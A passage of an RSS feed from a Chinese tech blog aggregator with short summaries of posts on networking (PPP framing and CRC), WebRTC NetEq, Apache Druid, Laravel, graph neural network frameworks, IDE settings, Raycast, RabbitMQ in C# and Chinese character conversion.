（其中数据部分有长度上限——最大传输单元MTU）&#xA;(2)透明传输&#xA;所谓透明传输，指的是无论什么样的比特组合的数据，都能够按照原样没有差错地通过这个数据链路层，因此对数据而言，这个数据链路层是无妨碍的，也就是透明的。&#xA;由于封装成帧时在首部和尾部加控制字符，控制字符决定了一个帧是否完整，如果在数据部分也出现控制字符SOH或EOT，那么会导致接收端错误判断帧的界限，把部分帧收下，而误以为收下的是完整的帧，而把剩下的数据丢弃。&#xA;因此规定，如果数据部分的二进制代码中出现SOH或EOT，就在前面加一个转义字符”ESC”，其ASCII码为1B。如果数据部分的二进制代码出现了转义符，那就在这个转义符前再加一个转义符。当接收端接收到帧时，就会把每次出现的第一个转义字符删除。以上的操作称为字符填充或字节填充。&#xA;(3)差错检测&#xA;比特差错：比特流在传输过程中可能会出现差错，比如0变成1，1变成0.实际的通信链路并非是理想的，比特差错不可避免，目前数据链路层广泛使用的差错检测方法为循环冗余检测（CRC）。&#xA;CRC原理：&#xA;在发送端，首先会把数据划分为组，假定每组k个比特。比如现假定待传送的数据M=101001，即k=6。CRC会在数据M后加n位冗余码，然后构成一个帧发送出去，一共发送（k+n）位。&#xA;冗余码的获得：首先数据M乘2^n，相当于在M后补了n个0，然后设定一个除数P，P的位数为n+1位，这个P是发送端和接收端共同规定的，则有：&#xA;M*2nP=Q….R&#xA;其中，Q为商，没有用，R为余数，R即为要获得的冗余码，称为FCS(帧检验序列)&#xA;M和R进行拼接，就获得了最终PPP帧中的数据部分。&#xA;而在接收端，收到这个帧后，获得数据部分，然后用数据部分的二进制码除以P，若余数为0，则说明没有差错，反之，有差错，这个帧被丢弃。&#xA;从上述描述可以发现，CRC只检测是否有差错，而不能知道差错在哪。&#xA;差错检测能确保接收端接收到的帧是无差错的，但不能保证数据链路层的可靠传输。因为差错检测只能解决最基本的比特差错，但无法检测帧的差错，比如帧丢失，帧重复和帧失序。&#xA;因此数据链路层的CRC检测只能保证无比特差错，但不能保证无传输差错。&#xA;对于实现数据链路层的可靠传输，以前的方式是在CRC的基础上增加帧编号、确认和重传机制。由于现在的通信线路的质量大大提高，由通信线路质量不好引起差错的概率大大降低，为了提高效率，互联网采用区别对待的方式：&#xA;对于通信质量良好的有线传输链路，数据链路层协议不使用确认和重传机制。如果在数据链路层传输数据时出现差错，并需要改正时，就由上层（如TCP）来解决。对于通信质量较差的无线链路，数据链路层采用确认和重传机制。 PPP协议的帧格式：&#xA;（1）封装成帧&#xA;首部四个字段:&#xA;F:0x7E 定界符，表示帧开始或结束&#xA;A：地址字段，默认0xFF，无实际意义&#xA;C：控制字段，默认0x03，无实际意义&#xA;协议：2个字节，表示数据部分属于上层的哪个协议&#xA;数据部分：不超过1500字节&#xA;尾部：FCS + F（7E）,即帧检验序列和定界符&#xA;（2）字节填充：解决透明传输问题&#xA;PPP协议使用异步传输时，将转义符定为0x7D,并使用字节填充。&#xA;0x7E -&amp;gt; 0x7D,0x5E0x7d -&amp;gt; 0x7D,0x5D对ASCII码中数值小于0x20的字符，如0x03变为 0x7D,0x23 接收端会对填充后的字节进行反变换获得原始的字节</description>
    </item>
    <item>
      <title>NetEq（一） 延迟估计</title>
      <link>https://bchobby.github.io/posts/c904a522341cbabb5ce608b6a7aad3c1/</link>
      <pubDate>Thu, 05 May 2022 20:45:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c904a522341cbabb5ce608b6a7aad3c1/</guid>
      <description>总体框图 四个buffer 抖动缓冲区（packet buffer） 暂存从网络获得的音频数据包&#xA;解码缓冲区 (dec buffer ) 抖动缓冲区中的数据包通过解码器解码成为PCM原始音频数据，暂存到解码缓冲区&#xA;算法缓冲区 (algorithm buffer) NetEQ将解码缓冲区中的数据进行拉伸、平滑处理后将结果暂存到DSP算法缓冲区&#xA;语音缓冲区 (speech buffer) 算法缓冲区中的数据会被塞到语音缓冲区中，声卡每隔一段时间会从语音缓冲区中提取固定长度的语音数据播放&#xA;当需要加速，加速，丢包补偿，融合等操作时，需要经过一些算法处理解码后的数据，经过算法处理后的数据放入算法缓冲区。&#xA;延迟估计 有两个延迟需要估计，网络延迟和抖动延迟，涉及两个线程，一个线程负责接收网络发来的数据包并估计网络时延，另一个线程负责解码，算法处理，解码数据放入syncBuffer中。&#xA;网络延迟 当每一帧数据包到来时，会进入NetEq的InsertPacket，首先把数据包保存到packet_buffer中。&#xA;const int ret = packet_buffer_-&amp;gt;InsertPacket(*packet, &amp;amp;stats_); 目前配置的packet_buffer最多能缓存50包数据，如果packet_buffer写&#34;爆了&#34;，会清空packet_buffer.&#xA;// Get an iterator pointing to the place in the buffer where the new packet // should be inserted. The list is searched from the back, since the most // likely case is that the new packet should be near the end of the list.</description>
    </item>
    <item>
      <title>vscode正则匹配非注释中的关键字</title>
      <link>https://bchobby.github.io/posts/e3f2fb02eb3f1d4276430ca65ca7c189/</link>
      <pubDate>Thu, 05 May 2022 18:31:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3f2fb02eb3f1d4276430ca65ca7c189/</guid>
      <description>前言 平时在用vscode开发中，会搜索代码中的关键字，但是直接搜索的话，很多comments中的关键字也会出现在搜索结果中了，如下：&#xA;可以用正则表达式，*^((?!//).)schedule，匹配只出现在代码正文中的关键字，</description>
    </item>
    <item>
      <title>Apache Druid历险记</title>
      <link>https://bchobby.github.io/posts/418c0ed98a5d8b6a38c69dca47abd8fa/</link>
      <pubDate>Thu, 05 May 2022 18:13:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/418c0ed98a5d8b6a38c69dca47abd8fa/</guid>
      <description>1. Druid简介 1. 1 概述 Druid是一个快速的列式分布式的支持实时分析的数据存储系统。它在处理PB级数据、毫秒级查询、数据实时处理方面，比传统的OLAP系统有了显著的性能改进。&#xA;OLAP分析分为关系型联机分析处理(ROLAP)、多维联机分析处理(MOLAP)两种，MOLAP需要数据预计算好为一个多维数组，典型方式就是Cube，而ROLAP就是数据本身什么样就是什么样，查询时通过MPP提高分布式计算能力。&#xA;Druid是ROLAP路线，实时摄取数据，实时出结果，不像Kylin一样，有一个显式的预计算过程。&#xA;1.1.2 补充 MPP：俗称大规模并行处理，数据库集群中，每个节点都有独立的磁盘存储系统跟内存系统，业务数据根据数据库模型跟应用特点被划分到各个节点，MPP就是将任务并行分散到多个节点，每个节点计算完毕后将结果汇总下来得到最终结果。&#xA;Lambda架构：该 架构的设计是为了在处理大规模数据时，同时发挥流处理和批处理的优势。通过批处理提供全面、准确的数据，通过流处理提供低延迟的数据，从而达到平衡延迟、吞吐量和容错性的目的。为了满足下游的即席查询，批处理和流处理的结果会进行合并。一般有三层。&#xA;Batch Layer：批处理层，对离线的历史数据进行预计算。 Speed Layer：加速处理层，处理实时的增量数据。 Serving Layer：合并层，计算历史数据和实时数据都有了。 注意：阿里巴巴也曾创建过一个开源项目叫作Druid（简称阿里Druid），它是一个数据库连接池的项目。阿里Druid和本文讨论的Druid没有任何关系，它们解决完全不同的问题。&#xA;1.2 Druid 特点 低延迟交互式查询：Druid提供低延迟实时数据摄取(⼊库)，典型的lambda架构。并采⽤预聚合、列式存储、位图索引等⼿段使得海量数据分析能够亚秒级响应。&#xA;⾼可⽤性( High Available )：Druid 使⽤用 HDFS/S3 作为 Deep Storage，Segment 会在多个Historical 节点上进行加载，摄取数据时也可以多副本摄取，保证数据可⽤性和容错性。&#xA;可伸缩( Horizontal Scalable )：Druid 部署架构都可以⽔平扩展，增加大量服务器来加快数据摄取，以保证亚秒级的查询服务。集群扩展和缩小，只需添加或删除服务器，集群将在后台自动重新平衡，无需任何停机时间。&#xA;并行处理( Parallel Processing ): Druid 可以在整个集群中进行大规模的并行处理查询(MPP)。&#xA;丰富的查询能力( Rich Query )：Druid支持时间序列、 TopN、 GroupBy等查询，同时提供了2种查询方式：API 和 SQL(功能较少)。&#xA;1.3 Druid 适用 &amp;amp; 不适用场景 ⼀句话总结，Druid适合带时间维度、海量数据的实时/准实时分析&#xA;带时间字段的数据，且时间维度为分析的主要维度。&#xA;快速交互式查询，且亚秒级快速响应。&#xA;多维度海量数据，能够预先定义维度。&#xA;适用于清洗好的记录实时录入，但不需要更新操作。&#xA;适用于支持宽表，不用Join的方式（换句话说就是一张单表）。&#xA;适用于可以总结出基础的统计指标，用一个字段表示。&#xA;适用于对数据质量的敏感度不高的场景(原生版本非精确去重)。&#xA;Druid 不适合的场景</description>
    </item>
    <item>
      <title>用laravel写一个API</title>
      <link>https://bchobby.github.io/posts/add9b1e29b7c244b386d6138adf6b37d/</link>
      <pubDate>Thu, 05 May 2022 18:02:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/add9b1e29b7c244b386d6138adf6b37d/</guid>
      <description>目的 用Laravel写一个API，查询所有的用户信息，示例如下&#xA;最起码要跑起来&#xA;[ { &#34;id&#34;: 1, &#34;name&#34;: &#34;Sinmu&#34;, &#34;phone&#34;: null, &#34;email&#34;: &#34;sinmu@example.com&#34;, &#34;email_verified_at&#34;: &#34;2022-03-14T10:58:59.000000Z&#34;, &#34;weixin_openid&#34;: null, &#34;weixin_unionid&#34;: null, &#34;created_at&#34;: &#34;2022-03-14T10:58:59.000000Z&#34;, &#34;updated_at&#34;: &#34;2022-04-01T17:56:04.000000Z&#34;, &#34;avatar&#34;: &#34;https://cdn.learnku.com/uploads/images/201710/14/1/ZqM7iaP4CR.png&#34;, &#34;introduction&#34;: null, &#34;notification_count&#34;: 0, &#34;last_actived_at&#34;: null }, . . . . ] 步骤 下载Laravel 我这里是通过composer 来下载一个laravel项目，composer create-project laravel/laravel projectname_laravel_API&#xA;约定 项目按照路径同意会用{path} 来代替。&#xA;比如我们的项目文件路径：{path}/projectname_laravel_API&#xA;修改配置文件并添加controller 进入项目文件路径下的 .env文件编辑文件内容，修改数据库的参数 通过php artisan make:controller Api/UserController创建一个文件，此时我们可以看到这里多了一个文件&#xA;我们在里面添加一些方法&#xA;&amp;lt;?php namespace App\Http\Controllers\Api; use App\Http\Controllers\Controller; use App\Models\User; class UserController extends Controller { public function index(){ return &#39;index&#39;; } public function show(){ return User::all(); } } 在return User::all();的意思是会返回我们数据库中user表中的所有数据</description>
    </item>
    <item>
      <title>PDF 缩略图无法正常显示 解决办法</title>
      <link>https://bchobby.github.io/posts/d3ce302be7fffa8a39f490a60c09fc00/</link>
      <pubDate>Thu, 05 May 2022 17:07:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3ce302be7fffa8a39f490a60c09fc00/</guid>
      <description>先交代一下配置：win10 + 福晰阅读器+Adobe Acrobat DC&#xA;有时候PDF无法显示缩略图，像下面这样子&#xA;提前设置好两个点：&#xA;1.从不显示缩略图的复选框的勾 ，取消， 如图所示。&#xA;.&#xA;2.在Adobe Acrobat DC 中 设置 如下&#xA;把pdf默认打开软件改成 adobe ，至此 问题应该差不多解决了。&#xA;但是我遇到的问题是，我习惯用福晰阅读器看pdf，每次看pdf的时候都得先默认用adobe 让他出缩略图，然后再默认成福晰阅读器，这样很不方便。于是我又找了下面一个办法，&#xA;先对福晰阅读器的设置，&#xA;然后安装 ，SumatraPDF-3.1.2-64-install.exe，以后也不要升级到 3.2的版本！！！&#xA;注意安装的时候&#xA;选择让windows 显示 pdf 文件的预览，一下然后清理一下系统的缩略图，重启。&#xA;完。&#xA;其他：&#xA;pdf 缩率图旁边白色过多，显得图标变胖，解决办法&#xA;在偏好设置--辅助工具中，去掉在操作系统中打开缩略图前面的勾号，然后清理系统缩略图，重启。</description>
    </item>
    <item>
      <title>####好好好###图神经网络系统介绍与总结分析</title>
      <link>https://bchobby.github.io/posts/a409eb1b296c1dd10bf104bd3d211630/</link>
      <pubDate>Thu, 05 May 2022 14:19:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a409eb1b296c1dd10bf104bd3d211630/</guid>
      <description>图神经网络算法将深度神经网络的运算(如卷积、梯度计算)与迭代图传播结合在一起：每个顶点的特征都是由其邻居顶点的特征结合一组深度神经网络来计算。&#xA;但是, 现有的深度学习框架不能扩展和执行图传播模型，因此缺乏高效训练图神经网络的能力，并且现有框架一般采用数据/模型并行来分布式训练深度神经网络，这种并行计算方法难以直接应用于图神经网络，因此限制了训练大规模图神经网络的能力。&#xA;而现有的图处理系统虽然能够表示迭代图传播模型，并能有效支持大规模图的迭代计算，但是缺乏支持神经网络计算的关键能力，如张量抽象、自动微分等。&#xA;因此，为了支持图神经网络在大规模图上的应用，以及对更复杂图神经网络结构的探索，开发针对图神经网络的训练系统是十分有必要的。&#xA;图神经网络系统介绍与总结分析​&#xA;mp.weixin.qq.com/s/q0V5vHqQzijTKzXIk0TNOw正在上传…重新上传取消&#xA;目前具有代表性的图神经网络框架：DGL、PyTorch Geometric、NeuGraph、EnGN、Euler、PSGraph、AliGraph、Roc、AGL、PGL.&#xA;DGL是易于使用，高性能且可扩展的Python库，用于图结构的深度学习，能够与主流的深度学习框架集成，例如Tensorflow、PyTorch、MXNet。 PyTorch Geometric是基于PyTorch构建的深度学习库，用于处理非结构化数据的深度学习。 NeuGraph是一种将数据流系统和图处理系统结合起来训练图神经网络的框架, 它构建在现有的数据流引擎之上，使用Python和C++作为开发语言。 EnGN是一种以边为中心，专门用于大规模图神经网络训练的加速器。 Euler与PSGraph是一个与深度学习工具集成的大规模分布式图学习框架，支持用户在数十亿点数百亿边的图上进行模型训练。 AliGraph是由阿里巴巴团队开发的采样建模训练一体化的图神经网络平台。 Roc是一种用于快速图神经网络训练的分布式多GPU框架。 AGL是用于工业用途图学习的集成系统, 利用传统基础架构(MapReduce、参数服务器)实现了容错性和一致性。 PGL (paddle graph learning)是由百度开发的基于PaddlePaddle的高效灵活的图学习框架。 1. 图神经网络系统介绍 1.1 DGL DGL是用于图结构深度学习的Python库，通过与主流的深度学习框架集成，能够实现从传统的张量运算到图运算的自由转换。DGL提供基于消息传递的编程模型来完成图上的计算，结合消息融合等优化技术使系统达到了比较好的性能。&#xA;DGL的API主要有两部分，一是消息函数：&#xA;二是累和函数：&#xA;其中， 代表边k的属性向量， 代表顶点i的属性向量，是边k的源顶点属性向量， 是边k的目的顶点属性向量， 代表边k上的消息，t代表迭代次数。 是一个消息函数，定义在边上，通过将边的特征与两端的顶点特征组合来生成“消息”。 是在每个顶点上定义的更新函数，通过使用reduce操作汇总其传入的消息来更新顶点特征。在图神经网络中，这些功能由神经网络模块进行参数化，⊕可以是求和运算，也可以是均值，最大值、最小值或LSTM网络，s.t. rk=i表示对目的顶点为i的所有消息进行聚合操作。&#xA;消息张量的大小正比于图中边的数量，因而当图增大时，消息张量消耗的内存空间也会显著上升。为了避免生成消息张量带来的额外存储开销，DGL实现了消息融合技术，将send函数和recv函数合并成了 sendandrecv 。&#xA;1.2 PyTorch Geometric PyTorch Geometric，是一个基于PyTorch构建的深度学习库，可以对非结构化数据进行建模和训练。该库利用专用CUDA内核实现了高性能训练。&#xA;PyTorch Geometric提供一个简单的消息传递API，将卷积算子推广到不规则域，具体表示为：&#xA;其中, ⊕表示可微置换不变函数，如求和、均值或最大值。整个模型可以通过gather和scatter顶点特征以及对其进行矢量化的元素计算来实现。&#xA;通过这个消息传递模型，用户只需要定义消息函数和更新函数，以及选择聚合方案⊕，就可以设计新的图神经网络模型。该库采用COO格式编码边索引，一个维度表示源顶点，另一个维度表示目标顶点，这种存储格式非常适用于消息传递模型，能够快速获取顶点对应的源顶点的信息。与通过矩阵乘法实现的方法相比，使用消息传递模型能够达到更好的性能。&#xA;1.3 NeuGraph NeuGraph提出了一种新的框架，根据图神经网络是将标准神经网络与迭代图传播结合起来的这一特点，NeuGraph在数据流中引入以顶点为中心的消息传递模型，将图模型和数据流模型结合，来支持并行图神经网络计算。NeuGraph还将图计算的优化方法如数据分区、调度，引入到了数据流框架中，来支持高效的图神经网络训练。&#xA;NeuGraph提出了一种新的处理模型SAGA-NN，它将数据流和顶点编程模式相结合来表示图神经网络的计算。SAGA-NN将前向计算分为4个阶段: Scatter、ApplyEdge、Gather和ApplyVertex。&#xA;ApplyEdge和ApplyVertex提供了两个用户定义函数，供用户在边和顶点上声明神经网络计算。ApplyEdge函数定义每个边上的计算，以edge和W作为输入，其中edge是指边数据，W包含图神经网络模型的可学习参数。ApplyVertex函数定义了顶点的计算，它以顶点张量、顶点聚合累积量和可学习参数W作为输入，并在应用神经网络模型后返回新的顶点表示。Scatter和Gather执行数据传播和收集，由系统隐式触发和执行。&#xA;SAGA-NN中的顶点程序采用以顶点为中心的编程模型来表达图神经网络的计算，对图神经网络中的通用阶段进行建模，并在图计算和数据流调度中实现优化。&#xA;NeuGraph在数据流抽象的基础上引入了特定的图分区方法，可以解决GPU内存的物理限制问题。通过2D图分区方法，NeuGraph将顶点数据分割成P个大小相等的不相交顶点块，并将邻接矩阵分为P×P个边块。通过将图数据分割成块，在逐个处理边块信息时，只需要边块所对应的源顶点块和目标顶点块即可。在训练过程中, 与顶点块或边块相关的一些中间特征数据将用于反向传播。&#xA;为了节省GPU内存，它们在前向计算期间交换到主机内存，在反向传播期间交换回。NeuGraph为降低主机和GPU内存之间的数据传输做了一系列优化：在处理边块E时，NeuGraph设计了一个过滤器，来过滤每个顶点块内的必要顶点，并将其传输到GPU中；通过一种局部感知的图划分算法，NeuGraph将连接同一顶点的边尽可能地压缩到一个块内，通过这种方法，NeuGraph可以获得更好的顶点数据访问局部；NeuGraph设计流水线调度进一步重叠数据传输和计算，以隐藏传输延迟。&#xA;1.4 EnGN EnGN是一种处理大规模图神经网络的专用加速器架构，并且EnGN提出了一种使用专用架构的以边为中心的数据流模型。EnGN将常见的图神经网络计算模式抽象为特征提取，聚合和更新3个阶段。&#xA;在特征提取阶段，神经网络来压缩图中每个顶点的属性。聚合阶段通过聚合在特征提取中生成的每个顶点的邻居属性，来产生统一的输出特征，其中聚合函数的选择包括各种算术运算，例如max，min和add。在传播迭代结束时，更新阶段会利用学习到的参数进一步压缩聚合阶段中获得的输出特征，并在输出之前将非线性激活函数或GRU/LSTM函数应用于图的每个顶点。&#xA;在以边为中心的数据路模型基础上，EnGN集成了一个神经图处理单元(NGPU)，能够在统一的体系结构中执行特征提取，聚合和更新操作。它具有一个PE数组，每个PE单元都包含一个本地寄存器，用于存储临时结果并充当PE间通信的中介。&#xA;EnGN提出了图属性感知(GPA)数据流，来分离顶点的输入属性和硬件计算结构。以这种方式，PE阵列的同一列中的每个PE负责顶点属性的单个维，而同一行中的每个PE处理单个顶点。输入顶点属性的尺寸变得独立于硬件体系结构，并且可以连续地注入到PE阵列中，而与阵列大小和属性尺寸无关。通过这种方式，处理单元可以处理具有任意尺寸属性的顶点。RER (ring-edge-reduce)阵列同一列中的每个PE连接到环形网络中的邻居，同一列中的每个PE仅与其两个最近的邻居(北, 南)通信。PE将其数据发送到北部邻居，并接收从南部邻居发送的数据以进行汇总。以此方式，PE可以基于环型数据流从边解析的控制信号来选择要聚合的相关顶点。</description>
    </item>
    <item>
      <title>idea 社区版设置 vm options 参数</title>
      <link>https://bchobby.github.io/posts/b0bbce7c18b7dd686037a0f8eaec716f/</link>
      <pubDate>Thu, 05 May 2022 12:09:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b0bbce7c18b7dd686037a0f8eaec716f/</guid>
      <description>目录&#xA;一、简介&#xA;二、社区版的解决方案&#xA;一、简介 项目开发中，很多时候会遇到一些乱码情况，这个时候我们就要进行编码修改，其他地方修改了之后还要修改一个地方，就是我们的虚拟机启动参数。打开我们的应用程序配置，找到 vm options，然后在里面输入参数：&#xA;-Dfile.encoding=UTF-8&#xA;如果你使用的旗舰版的 idea，这个当然没问题，但是如果你使用的是社区版的，不好意思，你找不到这个 vm options。如图所示：&#xA;我的 idea 是安装了中文插件，所以会这么显示。我们看到，并没有虚拟机选项，或者 vm options选项。这个时候如果我们不知道怎么做的话，代码一旦出现乱码就真的无法解决了。我之前就遇到问题，几个月没解决，就一直那样了，就那一个项目打开是乱码的，其他的都好的，就是神奇。&#xA;二、社区版的解决方案 其实，我们可以自行添加这个选项，或者说把该选项给调出来。&#xA;如上图所示，点击 “修改选项” —&amp;gt; 添加 vm 选项&#xA;然后就变成如下界面：&#xA;此时，我们就可以在里面输入编码参数了：&#xA;-Dfile.encoding=UTF-8&#xA;本篇文章，参考了这一篇文章，在此表示感谢：&#xA;idea社区版设置vm options</description>
    </item>
    <item>
      <title>【Alibaba编码规范】参照AlibabaJava开发手册记录一些IDEA相关设置方式</title>
      <link>https://bchobby.github.io/posts/f53534eb68a9d926838fce557d2a5257/</link>
      <pubDate>Thu, 05 May 2022 11:47:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f53534eb68a9d926838fce557d2a5257/</guid>
      <description>Alibaba编码规范，可以参照修改IDEA中的设置。&#xA;IDEA版本2021.1&#xA;后续继续补充中。。。&#xA;【强制】IDE 的 text file encoding 设置为 UTF-8； IDE 中文件的换行符使用 Unix 格式，不要使用&#xA;Windows 格式。&#xA;【强制】 采用 4 个空格缩进， 禁止使用 Tab 字符。&#xA;说明： 如使用 Tab 缩进， 必须设置 1 个 Tab 为 4 个空格。 IDEA 设置 Tab 为 4 个空格时， 请勿勾选 Use tab character；&#xA;【强制】 所有的类都必须添加创建者和创建日期。&#xA;说明： 在设置模板时， 注意 IDEA 的@author 为${USER}， 而 eclipse 的@author 为${user}， 大小写有区别， 而日期的设置统一为 yyyy/MM/dd 的格式。&#xA;【】接口方法javadoc规范&#xA;File Encodings 文件编码 【强制】IDE 的 text file encoding 设置为 UTF-8； 修改编码字符集</description>
    </item>
    <item>
      <title>MacOS新晋神器——Raycast</title>
      <link>https://bchobby.github.io/posts/9ac2fa6c33aa0e6016030335c927d2b6/</link>
      <pubDate>Thu, 05 May 2022 11:14:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ac2fa6c33aa0e6016030335c927d2b6/</guid>
      <description>正经学徒，佛系记录，不搞事情&#xA;前言 为什么说它神，因为它免费。。。&#xA;从系统自带的Spotlight到Alfred，感受到了什么是效率的提升，Raycast除了支持的脚本语言有限，其它别人有的它都有，而Alfred是收费的，即使下载破解版的，在MacOS升到12 monterey版本后也无法打开了，无奈不能白嫖寻找替代品，最终发现了这个神器Raycast&#xA;官网：https://www.raycast.com/&#xA;个人的部分使用点 快速访问浏览器书签 由于不属于自带功能，可以直接option+空格输入store进Raycast store 搜索下载&#xA;进入首选项设置，切到extensions tab&#xA;右侧选中需要支持搜索的浏览器，设置Alias可以快速搜索，个人喜欢使用缩写BM&#xA;浏览器快速访问地址 例如添加一个百度快速搜索&#xA;使用snippet 快速获取 Google two-factor-authentication 安装扩展包&#xA;唤醒&#xA;随便输入一个没有的，右下角会提示去添加&#xA;获取2FA Secret参考 https://blog.csdn.net/qq_31748587/article/details/119108009&#xA;添加后就可快速获取动态密码了，再也不用拿出手机打开Authenticator Code App后手动输入密码了，你学废了吗</description>
    </item>
    <item>
      <title>C# RabbitMQ使用</title>
      <link>https://bchobby.github.io/posts/0fb88e76b08a0fa8ab4ad770c333e2d9/</link>
      <pubDate>Thu, 05 May 2022 08:59:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fb88e76b08a0fa8ab4ad770c333e2d9/</guid>
      <description>// 简单使用（一对一） class RabbitMQSimple { // 1. RabbitMQ实例broker重启时，所有未申明durable的交换器和队列都会被删除，交换器未声明durable不会影响队列的持久化。 // 2. RabbitMQ中消息都被保存在队列中，所以如果队列被删除，消息不管有没有设置deliveryMode=2都会被删除。 static void rabbitMQDeclare() { IModel channel = RabbitMQConnection.GetIConnection().CreateModel(); // durable： 队列在broker重启后是否还存在。 // exclusive： 1.仅声明的连接（连接下所有信道可访问）可访问；2.连接（不是信道）断开时队列会自动删除。 // autoDelete： 是否自动删除，所有消费者断开连接之后队列是否自动被删除。 // arguments： 配置队列中的消息什么时候会自动被删除。 channel.QueueDeclare(&#34;XXXXXX&#34;, true, false, false, null); } static void rabbitMQProducer() { IModel channel = RabbitMQConnection.GetIConnection().CreateModel(); for (int i = 0; i &amp;lt; 20; i++) { try { // 配置消息属性（是否持久化等） IBasicProperties properties = channel.CreateBasicProperties(); properties.DeliveryMode = 2; // 1非持久化，2持久化 channel.BasicPublish(&#34;&#34;, &#34;</description>
    </item>
    <item>
      <title>【Python】简体繁体转换</title>
      <link>https://bchobby.github.io/posts/6edf4c3ef244082698eacbddd817aa2a/</link>
      <pubDate>Thu, 05 May 2022 00:23:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6edf4c3ef244082698eacbddd817aa2a/</guid>
      <description>简介 目前常用汉字大概2500左右，分别对应繁体形式一句话中，把所有的简体查表得到对应的繁体，就可以完成简体转繁体同样的，把所有的繁体都转换为简体，就可以完成繁体转简体以下是字库 简体字 万与丑专业丛东丝丢两严丧个丬丰临为丽举么义乌乐乔习乡书买乱争于亏云亘亚产亩亲亵亸亿仅从仑仓仪们价众优伙会伛伞伟传伤伥伦伧伪伫体余佣佥侠侣侥侦侧侨侩侪侬俣俦俨俩俪俭债倾偬偻偾偿傥傧储傩儿兑兖党兰关兴兹养兽冁内冈册写军农冢冯冲决况冻净凄凉凌减凑凛几凤凫凭凯击凼凿刍划刘则刚创删别刬刭刽刿剀剂剐剑剥剧劝办务劢动励劲劳势勋勐勚匀匦匮区医华协单卖卢卤卧卫却卺厂厅历厉压厌厍厕厢厣厦厨厩厮县参叆叇双发变叙叠叶号叹叽吁后吓吕吗吣吨听启吴呒呓呕呖呗员呙呛呜咏咔咙咛咝咤咴咸哌响哑哒哓哔哕哗哙哜哝哟唛唝唠唡唢唣唤唿啧啬啭啮啰啴啸喷喽喾嗫呵嗳嘘嘤嘱噜噼嚣嚯团园囱围囵国图圆圣圹场坂坏块坚坛坜坝坞坟坠垄垅垆垒垦垧垩垫垭垯垱垲垴埘埙埚埝埯堑堕塆墙壮声壳壶壸处备复够头夸夹夺奁奂奋奖奥妆妇妈妩妪妫姗姜娄娅娆娇娈娱娲娴婳婴婵婶媪嫒嫔嫱嬷孙学孪宁宝实宠审宪宫宽宾寝对寻导寿将尔尘尧尴尸尽层屃屉届属屡屦屿岁岂岖岗岘岙岚岛岭岳岽岿峃峄峡峣峤峥峦崂崃崄崭嵘嵚嵛嵝嵴巅巩巯币帅师帏帐帘帜带帧帮帱帻帼幂幞干并广庄庆庐庑库应庙庞废庼廪开异弃张弥弪弯弹强归当录彟彦彻径徕御忆忏忧忾怀态怂怃怄怅怆怜总怼怿恋恳恶恸恹恺恻恼恽悦悫悬悭悯惊惧惨惩惫惬惭惮惯愍愠愤愦愿慑慭憷懑懒懔戆戋戏戗战戬户扎扑扦执扩扪扫扬扰抚抛抟抠抡抢护报担拟拢拣拥拦拧拨择挂挚挛挜挝挞挟挠挡挢挣挤挥挦捞损捡换捣据捻掳掴掷掸掺掼揸揽揿搀搁搂搅携摄摅摆摇摈摊撄撑撵撷撸撺擞攒敌敛数斋斓斗斩断无旧时旷旸昙昼昽显晋晒晓晔晕晖暂暧札术朴机杀杂权条来杨杩杰极构枞枢枣枥枧枨枪枫枭柜柠柽栀栅标栈栉栊栋栌栎栏树栖样栾桊桠桡桢档桤桥桦桧桨桩梦梼梾检棂椁椟椠椤椭楼榄榇榈榉槚槛槟槠横樯樱橥橱橹橼檐檩欢欤欧歼殁殇残殒殓殚殡殴毁毂毕毙毡毵氇气氢氩氲汇汉污汤汹沓沟没沣沤沥沦沧沨沩沪沵泞泪泶泷泸泺泻泼泽泾洁洒洼浃浅浆浇浈浉浊测浍济浏浐浑浒浓浔浕涂涌涛涝涞涟涠涡涢涣涤润涧涨涩淀渊渌渍渎渐渑渔渖渗温游湾湿溃溅溆溇滗滚滞滟滠满滢滤滥滦滨滩滪漤潆潇潋潍潜潴澜濑濒灏灭灯灵灾灿炀炉炖炜炝点炼炽烁烂烃烛烟烦烧烨烩烫烬热焕焖焘煅煳熘爱爷牍牦牵牺犊犟状犷犸犹狈狍狝狞独狭狮狯狰狱狲猃猎猕猡猪猫猬献獭玑玙玚玛玮环现玱玺珉珏珐珑珰珲琎琏琐琼瑶瑷璇璎瓒瓮瓯电画畅畲畴疖疗疟疠疡疬疮疯疱疴痈痉痒痖痨痪痫痴瘅瘆瘗瘘瘪瘫瘾瘿癞癣癫癯皑皱皲盏盐监盖盗盘眍眦眬着睁睐睑瞒瞩矫矶矾矿砀码砖砗砚砜砺砻砾础硁硅硕硖硗硙硚确硷碍碛碜碱碹磙礼祎祢祯祷祸禀禄禅离秃秆种积称秽秾稆税稣稳穑穷窃窍窑窜窝窥窦窭竖竞笃笋笔笕笺笼笾筑筚筛筜筝筹签简箓箦箧箨箩箪箫篑篓篮篱簖籁籴类籼粜粝粤粪粮糁糇紧絷纟纠纡红纣纤纥约级纨纩纪纫纬纭纮纯纰纱纲纳纴纵纶纷纸纹纺纻纼纽纾线绀绁绂练组绅细织终绉绊绋绌绍绎经绐绑绒结绔绕绖绗绘给绚绛络绝绞统绠绡绢绣绤绥绦继绨绩绪绫绬续绮绯绰绱绲绳维绵绶绷绸绹绺绻综绽绾绿缀缁缂缃缄缅缆缇缈缉缊缋缌缍缎缏缐缑缒缓缔缕编缗缘缙缚缛缜缝缞缟缠缡缢缣缤缥缦缧缨缩缪缫缬缭缮缯缰缱缲缳缴缵罂网罗罚罢罴羁羟羡翘翙翚耢耧耸耻聂聋职聍联聩聪肃肠肤肷肾肿胀胁胆胜胧胨胪胫胶脉脍脏脐脑脓脔脚脱脶脸腊腌腘腭腻腼腽腾膑臜舆舣舰舱舻艰艳艹艺节芈芗芜芦苁苇苈苋苌苍苎苏苘苹茎茏茑茔茕茧荆荐荙荚荛荜荞荟荠荡荣荤荥荦荧荨荩荪荫荬荭荮药莅莜莱莲莳莴莶获莸莹莺莼萚萝萤营萦萧萨葱蒇蒉蒋蒌蓝蓟蓠蓣蓥蓦